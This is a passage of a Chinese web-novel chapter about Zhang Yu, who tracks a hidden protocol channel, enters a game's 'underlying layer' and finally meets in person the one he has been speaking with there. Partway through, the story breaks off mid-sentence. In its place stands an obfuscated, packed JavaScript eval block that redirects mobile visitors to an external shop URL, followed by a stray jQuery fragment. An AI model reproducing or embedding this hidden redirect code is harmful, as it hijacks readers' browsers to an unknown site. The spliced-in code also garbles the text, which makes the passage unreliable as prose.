张驭收到那条确认信息的当天,是一个周四。
他是下午接到的电话,对方是他认识的人里面为数不多还愿意接这种活的——查旧档案、翻离职记录、比对权限标记,所有可能留下痕迹的东西。对方在电话里说了一句话,很短:"你让我查的那个人,2024年离职的时候带走了一个接口。不是硬件,是一段可以被远程触发的协议通道。"
张驭当时站在家里客厅的窗前,手机贴着耳朵,另一只手正在翻一本旧笔记本。他停了一下:"协议通道通向哪里?"
"底层。那个人离职之前把它嵌进了底层协议层的最末端,设置了延迟触发。如果有人在底层动了什么东西,它会自动启动。"
张驭没有接话。他把那本旧笔记本翻到了某一页,上面有一行三年前写的字:"第七次。仍然没有反应。是不是我的权限不够。"
他在那个瞬间把两件事连在了一起。三年前他等了七次,等的人消失了。三年后有人被推进了他等过的那片底层里,告诉他那一切不是巧合,是一个计划。而那个计划最末端有一个接口,像一根拉紧的弦,随时可能因为底层被触碰而振动。
"……你能定位那个接口的位置吗?"
"能。需要时间。"
张驭说了一个时间:"明天之前。"
电话那边顿了一下,然后说了"行",挂了。
那天晚上他坐在客厅的餐桌旁边,面前摊着四样东西:一台老旧的平板电脑、一本三年前的笔记本、一张某个废弃办公楼侧门的监控截图打印件、和一枚从清盘物品里翻出来的金属挂饰。这些东西在接下来的二十三天里会被他一件一件地带进一个灰白色的荒漠里,交给一个他还没有见过的人。
但他坐在餐桌旁边的那个晚上还没有那些后面的东西。他只有这四样,和一个从第二天早上开始要去的地方。
他低头看那枚挂饰。表面有一道浅的划痕,从一端延伸到另一端,像是被某个人长期握在手里留下的。他在拿到它的时候就想过——黎帆握了它多久?在那些第七次失约之前的日子里,他坐在办公室里握着这枚挂饰,知道有人在查他,知道自己可能撑不到第八次。他留下了一个数据容器、一条隐藏的通道、和一枚有物理实体的钥匙。张驭在三年后拿到了它,因为拿到它之前他先接了一个人的第一通从底层传来的、带着机械音伪装的话。
他在平板电脑上打开了一个终端界面——不是游戏内的,是他自己的设备上安装的一个可以用外部协议连入游戏系统的端口。他对着那个界面打了一行字。他犹豫了大约两秒,然后把那行字删了。又打了另一行,也删了。第三行他看了一眼时间——接近午夜,底层那边如果有接收显示的话,应该还能收到。
他打了:"明天来。今天查到了。当面说。"
光标在那一行末尾闪了几下,然后他按了发送。他不知道底层有没有离线消息的接收确认,他只是发了。他坐在餐桌旁边看着发送完成的提示亮起来,然后把平板电脑合上。
他站起来去拿外套,准备把四件东西装进一个包里明天带进去。拿外套的时候手碰到了口袋里的一块叠好的旧布——灰白色的,从一件旧T恤下摆剪下来的,边缘没有裁齐。他本来要拿出来的,手已经在布料边缘上了,但他停了一下,没有拿出来。那块布最后跟着他进了底层,在第二十一天上午被垫在了右膝下面,让某人通过终端感知到了它的触地信号。
他把四件东西装进包里之后没有睡。他在客厅沙发上坐了一个多小时,想了一件事——明天他进底层之后,如果在入口处看到那个人还站在上次他离开时的位置,他要说的第一句话是什么。想了很久之后决定不说任何准备好的话,因为等真正看到的时候那些话会自动调整成合适的。
第二天早上六点十七分,他登录了游戏。
终端界面亮起来的第一秒,他去看接入数据源窗口的右下角。那个绿点是亮的——它在等他。他登录之后站在坐标点上没有动,先看了一眼那个绿点确认它是亮的,然后他听到终端里传来了一个声音。那个人说:"……你来晚了。"
语气平平的,但在"来晚了"那三个字的尾音里有一层很薄的东西——像一个人在等另一个人等了很久、终于等到他出现的时候,开口说的第一句话是陈述句,但陈述句的末尾有一点他控制不住的微扬。
张驭关掉地图。他今天不修裂隙,他上来只是为了一件事——确认那个人今天还在。确认了之后他说了另一句话,平稳的、不需要修饰的:"事情办完了。明天正常时间。"然后他补充了一句,语速比前面快了一点点:"怕你等。"
终端里安静了一下。然后那个人说"好",声音比平时低了半个调。张驭记住了那个降了半个调的"好"——它在接下来的二十三天里反复出现在他的记忆里,作为一种确认信号,像一个在空旷房间里持续亮着的指示灯。
后来他在第17个端口旁边蹲了二十分钟、在第22个裂隙边拔了四根钉、在第23扇门前放入了四件实物。每一次他都能感知到终端里那团银白色光点的脉动频率,和那个人说着"我在"的时候的声音重叠在一起。他知道自己能撑完那些二十分钟和三十分钟和四十分钟,一部分是因为他身体上确实能撑,另一部分是因为那个"我在"一直在。
他在第二十三天凌晨四
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930602|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点出发了。车程是四个小时,主会场在四百公里之外。他把那块布留在家里了——进入底层不需要它了,但他把它叠好放在了外套口袋里,带到车上,一路带到了主会场外面的停车场。他坐在车里等了大约四十分钟,看到大厅的灯亮了,然后推开门走了进去。
他在空旷的会议大厅里走了一段距离。脚步声在空旷的地板上回响,第一组脚步声是快步且均匀的,第二组是稍慢的——第二组是他自己放的慢脚步,为了确认自己没有走得太快让那个人来不及回头。他停在十步之外,看到一个人站在主控台旁边,浅灰色长袖,低着头在看他自己的手。那双手在底层里是半透明的灰白色,现在在现实里是实的。张驭站在十步之外没有立刻靠近。
他先开口说了一句话,声音比他自己预期的更平:"……你站的那个位置,就是你被推下去之前站的?"
那个人转过身来。
浅灰色长袖,袖口掉了一颗扣子。头发比数据流里看着更软一点,肩宽和他量过的数据一致,肤色在傍晚的光线下比底层投射里多了一层暖色。张驭看了他大约两秒,确认了所有信息都和自己存了二十三天的那份数据对得上。然后他看到那个人看了他两秒,开口说了一句话,和任何计划都无关:
"……你穿的不一样。"
张驭低头看了一眼自己的外套。现实里的,深灰色,短款。"现实里穿的。"
然后他跨出了第一步。第二步。到第十步。他在那个人面前停住,距离大约一臂。他看到了那个人袖口掉了一颗扣子,听到了他说"手确认过了。是实的",感知到了他在说出"是实的"三个字时呼吸的节奏变化——和底层里终端传出来的那个"好"在同一个频率上。
张驭在那个距离里站了一会儿。
二十三天的路程在这里停下了——从第一天的终端接听到第二十三天的十步距离,从灰白色的荒漠到傍晚的主会场,从半透明的手到有温度的指尖。所有的"明天见""怕你等""明天六点半""我在""来""你等我"都在这一刻变成了一句不需要说出口的确认。那个人站在他面前,浅灰色长袖,袖口掉了一颗扣子,说了"是实的"。
张驭站在他面前。"嗯。"
然后他在台阶上坐了下来。那条路走完了——从七个等不到的约定开始,到十步之外的回头结束。坐下来的姿势和底层里蹲下的姿势不同,因为他今天不需要蹲着了。他只需要在旁边坐着,等那个人也坐下来,然后告诉他今天凌晨四点出发的时候天空是什么颜色,告诉他路上开了多久,告诉他那块布没有带来但口袋里还留着它的折痕。
"今天凌晨四点出发的。"他说。